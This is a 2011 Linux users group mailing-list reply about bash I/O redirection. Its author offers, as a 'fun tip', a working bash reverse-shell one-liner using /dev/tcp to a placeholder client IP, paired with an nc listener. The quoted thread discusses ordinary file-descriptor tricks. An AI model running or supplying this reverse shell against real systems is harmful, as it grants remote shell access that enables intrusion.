Gavin W. Burris on 31 Aug 2011 11:37:54 -0700


[Date Prev] [Date Next] [Thread Prev] [Thread Next] [Date Index] [Thread Index]

Re: [PLUG] Bash I/O redirection


Fun tip.  You can use bash as a reverse shell:

on the client:
$ nc -v -l 3333

on the server:
# bash 0</dev/tcp/YOUR_CLIENT_IP/3333 1>&0 2>&0

Cheers.


On 08/31/2011 02:19 PM, Alan D. Salewski wrote:
> On Wed, Aug 31, 2011 at 01:56:45PM -0400, JP Vossen spake thus:
> *snip*
>> Yes.  You want:
>>
>> _bash Cookbook_
> *snip*
> 
> Love it.
> 
>  
>> 	# Optional, revert change & close FH3
>> 	exec 1>&3-
> 
> Nice; I didn't realize you could tack a '-' on there to do the fd move
> and the close in a single statement. Thanks for that!
> 
>  
>> Later,
>> JP
> 
> -Al
> 
> 

-- 
Gavin W. Burris
Senior Systems Programmer
Information Security and Unix Systems
School of Arts and Sciences
University of Pennsylvania
___________________________________________________________________________
Philadelphia Linux Users Group         --        http://www.phillylinux.org
Announcements - http://lists.phillylinux.org/mailman/listinfo/plug-announce
General Discussion  --   http://lists.phillylinux.org/mailman/listinfo/plug